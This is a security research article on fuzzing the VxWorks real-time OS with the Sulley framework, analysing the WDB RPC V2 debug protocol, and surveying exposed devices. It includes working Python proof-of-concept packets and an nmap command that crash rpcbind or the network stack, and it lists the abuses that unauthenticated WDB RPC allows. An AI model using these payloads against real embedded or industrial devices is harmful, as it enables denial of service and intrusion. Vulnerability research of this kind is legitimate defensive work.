Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System

Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System

by
Click on the “Sebug Vulnerability Platform” above to quickly follow.
This is a security exploration by the 404 Lab Security Research Team on Fuzzing and vulnerability mining, debugging, and exploitation of the VxWorks real-time operating system.
0x00 Preface
Regarding VxWorks, here is a reference from the 44CON topic “Attacking VxWorks: From the Stone Age to Interstellar” (http://www.freebuf.com/vuls/78277.html):
VxWorks is the most widely used real-time operating system deployed in embedded systems, designed and developed by Wind River Systems (WRS) in the United States in 1983. Its market range spans all safety-critical fields, including the Mars Curiosity rover, Boeing 787 Dreamliner, and network routers. The security risks of these applications have led to heightened attention on VxWorks security.
VxWorks is an embedded real-time operating system (RTOS) developed by Wind River (WRS), claiming to have at least 1.5 billion devices. VxWorks supports almost all modern embedded CPU architectures on the market, including x86 series, MIPS, PowerPC, Freescale ColdFire, Intel i960, SPARC, SH-4, ARM, StrongARM, and xScale CPUs.
At the 44CON London conference held from September 9 to 11, 2015, Yannick Formaggio introduced his in-depth security research methods on VxWorks, using the Sulley Fuzzing framework to fuzz multiple protocols of the VxWorks system, discovering several vulnerabilities, and implementing a remote debugger based on VxWorks’ WDB RPC for related debugging analysis.
Many of the implementations and details of vulnerabilities are not publicly available. We set up x86 virtual environments for VxWorks 5.5 and VxWorks 6.6 and, referring to Formaggio’s methods, conducted preliminary security research on VxWorks. This article will introduce the relevant research details and results.
This article includes:

  1. Vulnerability Overview

  2. Installing the Sulley Fuzzing Framework & Related Protocol Fuzzing

  3. Analysis of VxWorks WDB RPC V2

  4. VxWorks WDB RPC V2 Service Exposed on the Internet!!!

This article cannot cover all research details and methods, so we provide the following related materials for supplementary reference:

  • Setting up VxWorks 5.5 & 6.6 simulation environments https://github.com/knownsec/VxPwn/tree/master/doc

  • Running VxWorks (5.5) on vmWare http://www.vxdev.com/html/44/624.htm

  • Python Gray Hat Chapter 9 Sulley http://blog.chinaunix.net/uid-25979788-id-1747694.html

  • Sulley Official Documentation: https://github.com/OpenRCE/sulley/blob/master/docs/index.html

0x01 Vulnerability Overview
We reproduced the security issues pointed out by Formaggio and did not find new issues. The details of these vulnerabilities are as follows:
Network Stack Issue
Vulnerability Description: Certain 5.x versions of the VxWorks system, when receiving a large number of network packets in a short time, will cause the network stack to crash, preventing VxWorks from communicating with external hosts. In some cases, the terminal will give an error message, as shown in the figure below:
Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System
It should be noted that, in some cases, when the vulnerability is successfully triggered and causes a DoS, the VxWorks terminal will not output the following prompt:
interrupt: panic: netJobAdd: ring buffer overflow!
However, at this point, the VxWorks network stack has already crashed and can no longer communicate with the outside world, which can be verified by continuous pinging.
The above error message generally only appears when the number of received packets is very large.
Affected Versions: Some 5.x versions
Verification Method:

1. Execute the nmap command (may need to execute multiple times)

sudo nmap -sU -p110-166 -r -T5 -n 192.168.1.111

2. Where 192.168.1.111 is the IP of the host running VxWorks 5.5. After receiving the above scanning packets, the VxWorks host did not give an error message, but the network stack had crashed and could no longer communicate with the outside world.

3. Continuously send large FTP request packets to tcp/21 running FTP service.

4. The following Python code can also be used to verify this issue:

import socket
UDP_PAYLOAD = ‘\x72\xfe\x1d\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x01\x97\x7c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00’
def poc1(host, rpcPort=111, pktNum=6859):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for i in xrange(pktNum):
sock.sendto(UDP_PAYLOAD, (hvcost, 111))
def poc2(host, rpcPort=111, portNum=26):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for port in xrange(rpcPort, rpcPort+portNum+1):
sock.sendto(UDP_PAYLOAD, (host, port))
if __name__ == ‘__main__’:
import sys
poc1(host=sys.argv[1], rpcPort=111, pktNum=100000000)
#poc2(host=sys.argv[1], rpcPort=111, portNum=27)
rpcbind Service Issue
Vulnerability Description: The rpcbind service is part of SUN-RPC, and in the VxWorks system, this service listens on tcp/111 and udp/111 ports. Attackers sending specially crafted packets to this port can cause the rpcbind service to crash, and carefully crafted requests may lead to arbitrary code execution. The terminal will give an error message, as shown in the figure below:
Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System
Affected Versions: 5.x & 6.x
Verification Method: The following Python code can be used to verify this vulnerability:
import socket
PAYLOAD_HEX = ‘cc6ff7e200000000000000020001a086000000040000000488888888000000110000001100001111111111111111111111111111’
def poc(host, rpcPort=111):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(PAYLOAD_HEX.decode(‘hex’), (host, rpcPort))
if __name__ == ‘__main__’:
import sys
poc(sys.argv[1])
0x02 Sulley Installation & Protocol Fuzzing
Formaggio used Sulley for Fuzzing on VxWorks. We learned from his method and tried to implement Fuzzing based on Sulley.
Installing Sulley
Regarding the installation of Sulley, the official documentation provides a detailed guide:

  • Sulley – Windows Installation https://github.com/OpenRCE/sulley/wiki/Windows-Installation

  • FreeBuf also has articles that translate the above documentation: Using fuzzing techniques in penetration testing (with Windows installation guide) http://www.freebuf.com/articles/network/34136.html

Here, we briefly outline our installation process, environment Win7 x86:

  1. MinGW

    1. Download https://github.com/develersrl/gccwinbinaries/releases/download/v1.1/gcc-mingw-4.3.3-setup.exe

    2. During installation, in the “Select Components” dialog box, in addition to the default options, also check “C++ Compiler” and “ObjC Compiler”.

  2. Download and install Python 2.7 x86 version (Please install version 2.7.2; higher versions like 2.7.11 may cause errors in subsequent libdasm compilation steps).

  3. Download and install Git for Windows (http://git-scm.com/download/win).

  4. Add C:\Python27 and C:\MinGW\bin to the system environment variable $PATH.

  5. pydbg

    1. Download

      2. C:\sulley_build>git clone https://[email protected]/Fitblip/pydbg.git

    2. Compile and install

      3. C:\sulley_build\pydbg> python setup.py install

  6. libdasm

    1. Download http://libdasm.googlecode.com/files/libdasm-beta.zip and unzip it.

    2. Compile

      3. C:\sulley_build\libdisasm\pydasm>python setup.py build_ext -c min2

    3. Install

      C:\sulley_build\libdisasm\pydasm>python setup.py install

  7. Download and install WinPcap (https://www.winpcap.org/install/bin/WinPcap_4_1_3.exe).

  8. Download WinPcap Dev Kit (WpdPack).

  9. PCapy

    1. Download https://github.com/CoreSecurity/pcapy and unzip it.

    2. Compile (specify the include directory and lib directory in WpdPack).

      C:\sulley_build\pcapy-0.10.5>python setup.py build_ext -c mingw32 -I “C:\sulley_build\WpdPack\Include” -L “C:\sulley_build\WpdPack\Lib”

    3. Install

      C:\sulley_build\pcapy-0.10.5>python setup.py install

  10. Download and install setuptools and pip.

  11. Install impacket

    pip install -U impacket

  12. Sulley

    1. Download

      2. C:\sulley_build>git clone https://github.com/OpenRCE/sulley.git

    2. Confirm process_monitor.py works normally (no import exceptions).

      3. C:\sulley_build\sulley>python process_monitor.py

    3. Confirm network_monitor.py works normally (should print the list of network cards).

      4. C:\sulley_build\sulley>python network_monitor.py
FTP Protocol (tcp/21) Fuzzing
Many commands in the FTP protocol require login before they can be executed, and we mainly focus on the case of not being logged in.

Someone has publicly released a Sulley-based FTP Fuzzing program on GitHub (https://github.com/proteansec/fuzzyftp), and we used it directly for Fuzzing. The script ftp.py fuzzes the protocol field node diagram as follows:

Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System
Fuzzing Results:

  • No impact on version 6.6.

  • When continuously sending large FTP request packets in version 5.5, it causes a ring buffer overflow, leading VxWorks to be unable to communicate over the network. This issue also falls under the network stack problem mentioned earlier and is not an FTP protocol issue.

Sun RPC Protocol – rpcbind Service (tcp/111 udp/111) Fuzzing

For details on Sun RPC, please refer to the following documentation:

  • Unix Network Programming Volume II, Second Edition, Chapter 16

  • ONC+ Developer’s Guide – Appendix B RPC Protocol and Language Specification (http://docs.oracle.com/cd/E19683-01/816-1435/rpcproto-13077/index.html)

Based on the protocol, we implemented a Fuzzing script rpcbind.py (https://github.com/knownsec/VxPwn/blob/master/sulley/rpcbind.py), which uses wdbdbg.py (https://github.com/knownsec/VxPwn/blob/master/sulley/wdbdbg.py) to record debugging information when a crash occurs, implement automatic reboot of the VxWorks host, etc. The fuzzed protocol field node diagram is as follows:
Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System
Among them, common_fields is a summary of some structurally unified fields that include the following protocol fields:
Field Variable Field Explanation Field Length (bytes) Field Type
xid transaction identifier 4 unsigned int
mtype message type 4 enum
rpcvers rpc version 4 unsigned int
prog remote program 4 unsigned int
vers remote program version 4 unsigned int
proc the procedure within the remote program to be called 4 unsigned int
Subsequently, there are some variable-length fields. Please refer to the protocol description and rpcbind.py (https://github.com/knownsec/VxPwn/blob/master/poc/rpcbind.py) code for more details.

Fuzzing Results: Both versions 5.5 and 6.6 tested 18 crash points. By observing the register states in the results, they belong to one category. This vulnerability only causes the tPortmapd service to crash and does not affect other services. This vulnerability was analyzed in detail by Formaggio at 44con.

0x03 WDB RPC

To achieve automated or semi-automated Fuzzing, the following issues must be resolved:

  • Randomly or randomly generate a large number of protocol data packets (generated by Sulley this time).

  • Send the generated packets to the tested component/service (specific protocol Fuzz scripts need to be implemented based on Sulley).

  • Detect the status of the tested component, such as whether it can respond, whether the response is correct, etc. (difficulty).

  • Obtain abnormal information from the component, such as the reason for the crash, memory content, etc. (difficulty).

  • Restore the environment of the tested component, such as rebooting.

For Fuzzing VxWorks, resolving the above difficulties requires a VxWorks debugger. Research shows that the debugger in VxWorks development components communicates with the TAgent module of VxWorks through the WDB RPC protocol via the TServer, making WDB RPC the key.
WDB RPC has two versions, V1 and V2. VxWorks 5.5 uses V1, while VxWorks 6.6 uses V2. V2 has many modifications compared to V1, specifically in protocol fields and interaction methods.
Rapid7 pointed out the security risks of the WDB Agent service in the article “Shiny Old VxWorks Vulnerabilities” (https://community.rapid7.com/community/metasploit/blog/2010/08/02/shiny-old-vxworks-vulnerabilities) and provided related detection and exploitation scripts:

  • metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb (https://github.com/rapid7/metasploit-framework/blob/b206de77081069dd53b1f90f57bfaccd0ecbb0d8/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb)

  • metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb (https://github.com/rapid7/metasploit-framework/blob/b206de77081069dd53b1f90f57bfaccd0ecbb0d8/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb)

  • metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb (https://github.com/rapid7/metasploit-framework/blob/b206de77081069dd53b1f90f57bfaccd0ecbb0d8/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb)

  • metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb (https://github.com/rapid7/metasploit-framework/blob/b206de77081069dd53b1f90f57bfaccd0ecbb0d8/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb)

These scripts are all aimed at WDB RPC V1 and cannot effectively detect and exploit WDB RPC services of V2 version.
Therefore, this article will no longer discuss the protocol of version V1 and will only analyze version V2.
First, let’s understand what WDB RPC is. WDB RPC is a debugging interface based on the SUN-RPC protocol, running its service on UDP protocol port 17185. The WDB RPC is included in the VxWorks TAgent module. Utilizing the WDB RPC debugging interface allows direct access to system memory and monitoring the operational status of all components in the VxWorks system. When an abnormal event occurs, TAgent actively notifies the currently connected Debugger, as shown in the figure below (reference from Wind River Documentation).
Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System
If we place a monitor (VxMon) to act as TServer, simulating communication between Debugger and VxWorks OS’s TAgent module, when a VxWorks OS component experiences an exception, VxMon can obtain exception notifications from TAgent, and then use the WDB RPC interface to retrieve exception-related information, thus solving the above technical difficulties.
Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System

(Reference from Wind River Documentation)

WDB RPC V2 Protocol Analysis
Request Data Packet
The WDB protocol is based on SUN-RPC, and the WDB RPC request packet is constructed as shown in the figure below (quoted from Wind River Documentation):
Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System
From the above figure, we can see that a standard WDB RPC request contains the following information:

  • IP Header

  • UDP Header

  • RPC Request Header

  • WDB Parameter Wrapper

  • Function input parameters

In the WDB RPC request packet, WDB Parameter and Function input parameters are key contents, where the WDB Parameter Wrapper contains the size, checksum, and request serial number of the entire request packet, and the Function input parameters carry auxiliary information for the request function number.

Response Data Packet

The WDB RPC response packet is constructed as shown in the figure below (quoted from Wind River Documentation):
Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System
From the above figure, we can see that a standard WDB RPC response packet contains the following information:

  • IP Header

  • UDP Header

  • RPC Reply Header

  • WDB Reply Wrapper

  • Function output

In the WDB RPC response packet, WDB Reply Wrapper and Function output are key contents, where the WDB Parameter Wrapper contains the size, checksum, and response serial number of the entire request packet (the response and request serial numbers must match in each request and response), and Function output contains the output information of the response, which is the return information of the requested function number.
Implementing Communication Between VxMon and VxWorks OS – TAgent Module
The biggest difference between WDB RPC version V2 and V1 is that when sending various requests (such as obtaining VxWorks version BSP information requests WDB_TGT_INFO_GET), V1 only needs to send the corresponding request packet. V2 maintains a session-like mechanism, requiring a connection request packet (WDB_TARGET_CONNECT) to be sent before sending various requests in order to successfully connect to TAgent. For multiple request packets in each session (including the connection request packet), their SUN RPC -> Transaction ID field and WDB RPC -> sequence field values must be continuously incrementing; otherwise, an erroneous response packet will be received.

  • WDB_TARGET_CONNECT

Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System
VxMon sends a request to connect to the target, with the function number WDB_TARGET_CONNECT.

Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System

Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System

TAgent response process: The target connects to VxMon (including basic information about TAgent).

Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System

Next, the host requests more information, such as register contents at the time of the crash, memory areas, and exception codes.
By sending WDB_REGS_GET requests, VxMon can obtain the contents of the exception registers.
By sending WDB_MEM_READ requests, VxMon can obtain the execution code at the exception address. As follows:
Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System
Code

We encapsulated the functions described above in Python code; please refer to wdbdbg.py (https://github.com/knownsec/VxPwn/blob/master/sulley/wdbdbg.py), where you need to use the third-party module capstone (https://capstone-engine.github.io/download/3.0.4/capstone-3.0.4-python2.7-win32.exe), please install it yourself.

0x04 VxWorks WDB RPC V2 Service Exposed on the Internet!!!
The functionality of WDB RPC is so comprehensive that it becomes a double-edged sword. Since it does not have authentication features, anyone who can communicate with the VxWorks host on port 17185 can invoke it. If it is used by hackers instead of development and debugging personnel, it can cause great harm:

  • Monitor the status of all components (services).

  • Malicious firmware flashing, backdoor implantation.

  • Reboot VxWorks devices.

  • Arbitrary memory read and write.

  • Login bypass.

  • …

Kimon detailed various attack methods using WDB RPC in the article [Unveiling VxWorks – Exposing IoT Security Holes](http://chuansong.me/n/1864339), so this article will not enumerate them one by one. In the article, Kimon also provided global statistics on WDB RPC from z-0ne:

By calling the wdbrpc-scan script with Zmap, approximately 50,000 IPs with exposed ports were scanned, among which 34,000 could read system information and bootline information.

Top 10 countries by number:

China: 7861

United States: 5283

Brazil: 3056

Italy: 1025

Japan: 823

Russia: 647

Mexico: 505

Kazakhstan: 486

Australia: 481

India: 448

Number of VxWorks system version statistics:

VxWorks5.5.1 15601

VxWorks5.4.2 6583

VxWorks5.4 5410

VxWorks5.4.2 5254

VxWorks5.5 899

VxWorks 654

VxWorks5.3.1 236

Number of affected PLC module models:

Rockwell Automation 1756-ENBT firmware versions 3.2.6, 3.6.1, and others.

Siemens CP 1604, Siemens CP 1616.

Schneider Electric Quanta Ethernet modules.

z-0ne’s statistics are very detailed, but from the version distribution, it can be observed that he detected and counted the WDB RPC V1 version.
The ZoomEye team also detected WDB RPC services exposed on the Internet. In the global IPv4 network space, there are a total of 52,586 hosts running WDB RPC services, among which:

  • 30339 IPs running WDB RPC service version V1 (i.e., hosts running VxWorks 5.x version).

  • 2155 IPs running WDB RPC service version V2 (i.e., hosts running VxWorks 6.x version).

  • 20093 hosts running unknown version of VxWorks. These hosts did not return the expected WDB_TGT_INFO format results for both versions of WDB_TGT_INFO_GET requests, but returned shorter error response packets. However, their format conforms to the WDB RPC response format, so it can be basically concluded that these hosts run WDB RPC services, i.e., running VxWorks systems, but the version is unknown. This issue deserves further study.

As for the results statistics of version V1 services, our results are similar to those of z-0ne, and this article will not elaborate further. Here, we mainly provide statistics on the 2155 hosts running WDB RPC service version V2:

Top 10 countries distribution statistics

Country Code Number
India IN 667
Uganda UG 266
United States US 228
Brazil BR 156
Bhutan BT 128
Canada CA 73
Namibia NA 60
Rwanda RW 60
South Africa ZA 59
Korea KR 57
It should be noted that there are 7 located in China.

VxWorks 6.x Version Statistics

Version Number
VxWorks 6.6 1878
VxWorks 6.7 8
VxWorks 6.8 250
VxWorks 6.9 4
Unknown version of VxWorks 15
Chip/Circuit Board Statistics
Chip/Integrated Circuit Board Number Application Products or Industries
Freescale MPC8308 671 Smart grid home energy gateways, data hubs, wireless LAN access points, wireless home base stations, consumer electronics printing, and industrial applications including industrial control and factory automation.
Freescale MPC8313E 522 Small Office/Home Office (SOHO), printing, IP services, and industrial control.
Freescale MPC8544 291 Networking, communication, and industrial control.
Freescale P1010E – Security Engine 271 IP cameras, industrial robots, wireless LAN (WLAN) access points, network-attached storage, printing and imaging, routers.
Freescale MCF5372L 205 Internet Voice Protocol (VoIP), security and access control panels, healthcare instruments and devices.
Freescale Unknown processor 88
Freescale CDS MPC8548E – Security Engine 16 Enterprise networking, telecommunications transmission and switching, and 3G wireless base station applications.
Freescale E500: Unknown system version 15 Communication, industrial control.
TI TNETV1050 Communication Processor 14 VoIP.
Unknown 14
BCM53000 (MIPS74K) 12 Routers.
AR7100 SERIES 8 Home or enterprise-level wireless access points, routers, gateways.
Freescale P2020E – Security Engine 6 Networking, telecommunications, military, and industrial.
Freescale E300C3 6 Networking, communication, industrial control.
Intel(R) Pentium4 Processor SYMMETRIC IO MPTABLE 2
IBM PowerPC [Fluke Odin] 405GPr Rev. 1.1 2 Digital cameras, modems, set-top boxes, mobile phones, GPS, printers, fax machines, network cards, switches, storage devices.
RENESAS SH7751R 240MHz (BE) 2 Routers, PBX, LAN/WAN, printers, scanners, PPC.
Broadcom BCM91250A/swarm 2 Ethernet communication and switching.
Xilinx Zynq-7000 ARMv7 2 Advanced Driver Assistance Systems, medical endoscopes, small cellular basebands, professional cameras, machine vision, telecom-grade Ethernet backhaul, 4K2K ultra-high-definition televisions, multifunction printers.
BCM1190 A2/bcm1190) 2 VoIP, broadband access.
Telvent HU_A ColdFire Board (MCF5485) 1 Industrial and embedded networking.
RDL3000-SS – ARM11MPCore (ARM) 1 Carrying, SCADA, communication.
ZTE SCCE(S3C2510 Rev.10.0) 1 SOHO routers, gateways, WLAN AP.
AR9100 SERIES 1 Home or enterprise-level wireless access points, routers, gateways.
It can be seen that the statistics of chips or integrated development boards using VxWorks 6.x differ significantly from those of version 5.x. Due to the stability of VxWorks 6.x compared to 5.x, it is more widely used in systems with higher requirements for stability, reliability, and real-time control, as can be seen from the characteristics of the chips or integrated circuit boards in the above table.
Using WDB RPC V2, further attempts can be made to determine the brands or models of devices using these chips or integrated circuit boards, and further control of these devices can be attempted. The methods are similar to those introduced by Kimon for WDB RPC V1, and interested students can continue to delve deeper.
0x05 Conclusion
This article introduces how to implement automated Fuzzing based on the Sulley framework for the FTP service and Sun-RPC rpcbind service of VxWorks 5.5 and 6.6, and discusses the indispensable WDB RPC V2 protocol in the process of implementing automated Fuzzing on VxWorks 6.6. Finally, it probes into the WDB RPC V2 protocol exposed on the Internet and provides related statistics.

We can see that exposing WDB RPC services to the Internet poses great dangers, but it is an indispensable tool for system developers of hardware devices using VxWorks. It needs to be turned on during the development process, but it must be turned off when compiling VxWorks systems for factory devices.

Corresponding vulnerabilities can be found at: https://www.sebug.net/vuldb/ssvid-88844 (click [Read the original text] to visit).

Don’t let go Long press the QR code on the right until it is recognized.
Click the “Read the original text” below to explore the Sebug vulnerability platform.
Exploring VxWorks Fuzzing: Uncovering Vulnerabilities in the VxWorks Real-Time Operating System

Related posts:

  1. VxWorks RTOS: A High-Performance Real-Time Operating System for Embedded Systems
  2. Uncovering the Secrets of ARMv7/ARMv8/ARMv9 Architecture
  3. Uncovering Hidden Pitfalls in FreeRTOS

Leave a Comment

×